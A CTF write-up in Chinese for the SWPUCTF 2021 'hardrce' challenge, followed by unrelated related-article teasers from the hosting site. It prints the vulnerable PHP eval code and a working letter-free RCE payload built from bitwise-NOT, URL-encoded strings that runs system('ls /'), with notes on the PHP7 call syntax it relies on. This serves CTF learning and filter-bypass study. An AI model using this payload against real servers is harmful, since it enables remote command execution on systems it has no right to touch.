[SWPUCTF 2021 新生赛]hardrce

[SWPUCTF 2021 新生赛]hardrce wp

参考博客:https://www.cnblogs.com/bkofyZ/p/17644820.html

代码审计

题目的代码如下:

 <?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
    $wllm = $_GET['wllm'];
    $blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];
    foreach ($blacklist as $blackitem)
    {
        if (preg_match('/' . $blackitem . '/m', $wllm)) {
        die("LTLT说不能用这些奇奇怪怪的符号哦!");
    }}
if(preg_match('/[a-zA-Z]/is',$wllm))
{
    die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{
    echo "蔡总说:注意审题!!!";
}
?> 蔡总说:注意审题!!!

其中设置了一个黑名单 $blacklist 过滤了许多字符;

此外 preg_match('/[a-zA-Z]/is',$wllm) 过滤了所有大小写字母。

无字母 RCE

首先推荐一篇博客:老生常谈的无字母数字 Webshell 总结 。

无字母数字绕过,就是把非字母数字的字符经过各种转换,变为数字和字母。

由于黑名单中 ’ $ ’ , ’ ^ ‘,’ ` ’ ,’ " '等等都被过滤掉了,我觉得能用的只有取反了(可能还有其他的我没想到)。

取反绕过

构造一个 system('ls /') 要怎么做呢,先输出其取反后的字符串(要用 URL 编码),再取反。

看了好多博客,都是说对函数名和参数值分别取反再拼接,比如:

<?php
# 先对 system 取反,再编码
echo urlencode(~"system");
# 结果:%8C%86%8C%8B%9A%92

# 换行
print("\r\n");

# 再对 ls / 取反,再编码
echo urlencode(~"ls /");
# 结果:%93%8C%DF%D0
?>

最后做一个拼接:

(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);

那为什么取反之后就不会被过滤了呢,这是因为取反后基本上都是不可见字符(总之就是不在黑名单中啦)。

踩坑

但是令我很疑惑的是,为什么不能直接对整体取反呢,比如像下面那样:

<?php
echo urlencode(~"system('ls /')");
?>

得到的 payload 为:

(~%8C%86%8C%8B%9A%92%D7%D8%93%8C%DF%D0%D8%D6);

我试过了,不行,但我不理解,直到看到了这篇博客:

web安全-PHP-url编码取反绕过正则-思考

我才理解了一点。

大致意思是,eval 函数在执行的时候,只有遇到 (func_name)() 这样形式的参数,才会把它当成函数执行,如果传入:

(~%8C%86%8C%8B%9A%92%D7%D8%93%8C%DF%D0%D8%D6);

这样的,eval 识别不出它是一个函数,因此仅仅执行了取反操作。

另外还有一点我不理解,上面传入的 payload 在取反之后应该是这样子的才对:

eval("(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);")
# eval 执行取反操作后
eval("('system')('ls /');")

('system')('ls /') 为什么能当成 system('ls /') 来执行呢?

这还要归结于 PHP7 的一个特性,PHP 7 中支持这种调用方法,即用 (func_name)() 这种形式来调用函数。

实践是检验真理的唯一标准,让我们把 PHP 版本调成 7.x.x ,并写好以下代码:

<?php
# 输出 PHP 版本号
echo phpversion();
echo ('system')('calc');
?>

访问此页面:

在这里插入图片描述

可以看到输出版本号为 7.3.4 ,并成功弹出计算器。

将 PHP 版本改为 5.x.x,再次访问:

在这里插入图片描述

报错。

事实上,此特性在 PHP7 中支持,而 PHP5 不支持。

如此看来,这种绕过方式还是有条件的。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/272248.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

2023年民宿管理系统排名前十的是哪些?哪一个的功能强大?

现在说起去旅游&#xff0c;很多都会选择订民宿&#xff0c;因为民宿装修风格更具个性化和本土气息&#xff0c;适合追求新潮的年轻人&#xff0c;拍照打卡效果很好。另外就是民宿布局和家里比较相似&#xff0c;出游人数比较多的话住着更方便。由于这股风潮的兴起&#xff0c;…

模型性能评估简介

模型评估 混淆矩阵 Positive - 正例Negative (N) - 负例 结果: 预测为正类别 预测为负类别 真实为正类别 True Positive (TP) False Negative (FN) 真实为负类别 False Positive (FP) True Negative (TN)TP - 预测 P, 实际 P, 模型预测正确FP - 预测 P, …

promise的使用和实例方法

前言 异步,是任何编程都无法回避的话题。在promise出现之前,js中也有处理异步的方案,不过还没有专门的api能去处理链式的异步操作。所以,当大量的异步任务逐个执行,就变成了传说中的回调地狱。 function asyncFn(fn1, fn2, fn3) {setTimeout(() > {//处理第一个异步任务fn1…

网工内推 | 技术支持、解决方案工程师,RHCA认证优先,带薪年假

01 天融信 招聘岗位&#xff1a;售后技术支持工程师 职责描述&#xff1a; 1.负责公司运营商态势安全项目系统远程维护与运营支持工作。 2.负责远程对态势平台、数据探针进行日常巡检&#xff0c;及时发现故障问题&#xff0c;并反馈处置。 3.负责远程支撑态势平台的功能考核&…

k8s是什么

生么是k8s&#xff1a; Kubernetes:8个字母省略&#xff0c;就是k8s 自动部署&#xff0c;自动扩展和管理容器化部署的应用程序的一个开源系统、 k8s是负责自动化运维管理多个容器化程序的集群&#xff0c;是一个功能强大的容器编排工具。 分布式和集群化的分布式进行容器管…

Elasticsearch:无需搜索 “Christmas” 即可找到有关圣诞节的书籍

随着假期的临近&#xff0c;我期待着变得舒适&#xff0c;拿起一本新书&#xff0c;享受轻松的时光。 但是使用搜索栏在线发现图书并不像看起来那么容易......大多数零售搜索引擎仅依赖于关键字搜索&#xff0c;当我们确切地知道我们正在寻找什么书名时&#xff0c;这很好&…

渗透测试 | php的webshell绕过方法总结

目录 1.php的异或运算 2.通过获取注释去绕过 3.利用字符的运算符​​​​​​​ 4.通过end函数代替[] 5.通过常量去绕过 6.字符串拼接双美元符 7.通过函数定义绕过 8.通过类定义&#xff0c;然后传参分割 9.多传参方式绕过​​​​​​​ 10.通过get_defined_function…

教你一分钟弄清屏幕SPI接口名称

相关文章 快速入门ESP32——开发环境配置Arduino IDE 快速入门ESP32——开发环境配置PlatformIO IDE 快速入门ESP32—— platformIO添加开源库和自己的开发库 一分钟弄清屏幕SPI接口名称 前言一、屏幕SPI接口名称二、与单片机连接总结 前言 最近&#xff0c;我在捣鼓CD屏幕的SP…

四川云汇优想教育咨询有限公司抖音电商服务的领航者

四川云汇优想教育咨询有限公司&#xff0c;作为一家在电商服务领域有着深厚底蕴的企业&#xff0c;一直以来都以其卓越的服务质量在业界树立了良好的口碑。尤其是在抖音电商服务方面&#xff0c;云汇优想更是凭借其出色的实力和精准的策略&#xff0c;成为了行业的佼佼者。 在抖…

从企业级负载均衡到云原生,深入解读F5

上世纪九十年代&#xff0c;Internet快速发展催生了大量在线网站&#xff0c;Web访问量迅速提升。在互联网泡沫破灭前&#xff0c;这个领域基本是围绕如何对Web网站进行负载均衡与优化。从1997年F5发布了BIG-IP&#xff0c;到快速地形成完整ADC产品线&#xff0c;企业级负载均衡…

使用Dependency Walker和Process Explorer排查瑞芯微工具软件RKPQTool.exe启动报错问题

目录 1、问题说明 2、使用Dependency Walker查看工具程序的库依赖关系 3、在可以运行的电脑上使用Process Explorer查看依赖的msvcr120.dll和msvcp120.dll库的路径 4、C/C运行时库介绍 5、可以下载安装VC_redist.x86.exe或VC_redist.x64.exe解决系统库缺失问题 C软件异常排…

Apache RocketMQ,构建云原生统一消息引擎

本文整理于 2023 年云栖大会林清山带来的主题演讲《Apache RocketMQ 云原生统一消息引擎》 演讲嘉宾&#xff1a; 林清山&#xff08;花名&#xff1a;隆基&#xff09;&#xff0c;Apache RocketMQ 联合创始人&#xff0c;阿里云资深技术专家&#xff0c;阿里云消息产品线负…

华为鸿蒙的发展史:从初创到全球领先的历程

自2019年以来&#xff0c;华为的鸿蒙操作系统在全球范围内引发了广泛关注。鸿蒙的发展史见证了中国科技企业的崛起与坚韧&#xff0c;展现了华为对于技术创新的执着追求和坚定信念。本文将带你回顾华为鸿蒙的发展历程&#xff0c;了解这一操作系统如何从初创阶段走向全球领先地…

【Kafka】Kafka客户端认证失败:Cluster authorization failed.

背景 kafka客户端是公司内部基于spring-kafka封装的spring-boot版本&#xff1a;3.xspring-kafka版本&#xff1a;2.1.11.RELEASE集群认证方式&#xff1a;SASL_PLAINTEXT/SCRAM-SHA-512经过多年的经验&#xff0c;以及实际验证&#xff0c;配置是没问题的&#xff0c;但是业务…

三甲基碘硅烷,预计未来几年市场将以稳定的速度增长

三甲基碘硅烷是一种无色透明液体&#xff0c;广泛用作有机化学中的试剂。它用于制备多种有机化合物&#xff0c;包括药物、农用化学品和特种化学品。由于最终用途行业的需求不断增加&#xff0c;预计未来几年全球碘三甲基硅烷市场将以稳定的速度增长。 全球碘三甲基硅烷市场分为…

OpenGL :LearnOpenGL笔记

glfw https://github.com/JoeyDeVries/LearnOpenGL/blob/master/src/1.getting_started/1.1.hello_window/hello_window.cpp #include <glad/glad.h>// 注: GLAD的include文件包含所需的OpenGL头文件(如GL/GL.h) &#xff0c;因此确保在其他需要OpenGL的头文件 (如GLFW…

php 不加后缀访问

实现不带后缀访问php文件的方法&#xff1a;首先在htaccess文件中加入内容“RewriteRule ^(api/token) token.php [L]”&#xff1b;然后通过根目录下的“token.php”来接受“api/token”&#xff1b;最后修改配置文件。 考虑的做法有&#xff1a; HTTP重写技术&#xff0c;让…

仿Yasa算法-睡眠分期,目前五分期86.5%

参考链接 具体内容可见&#xff1a;个人文章 参考代码 The code that was used to train the classifiers can be found on GitHub at: Link 验证数据集 PhysiNet-Haaglanden 选取了其中150例数据&#xff08;剔除了No.98&#xff0c;标签数据长度不匹配&#xff09; 特征…

Shell 脚本应用(四)

正则表达式概述 正则表达式又称正规表达式&#xff0c;常规表达式。在代码中常简写为regex&#xff0c;regexp 或RE.正则表达式 是使用单个字符串来描述&#xff0c;匹配一系列符合某个句法规则的字符串&#xff0c;简单来说&#xff0c;是一种匹配字符串 的方法&#xff0c;通…

Nacos2.1.2改造适配达梦数据库7.0

出于业务需求&#xff0c;现将Nacos改造适配达梦数据库7.0&#xff0c;记录本次改造过程。 文章目录 一、前期准备二、适配流程1、项目初始化2、引入驱动3、源码修改 三、启动测试四、打包测试 一、前期准备 Nacos源码&#xff0c;版本&#xff1a;2.1.2&#xff1a;源码下载…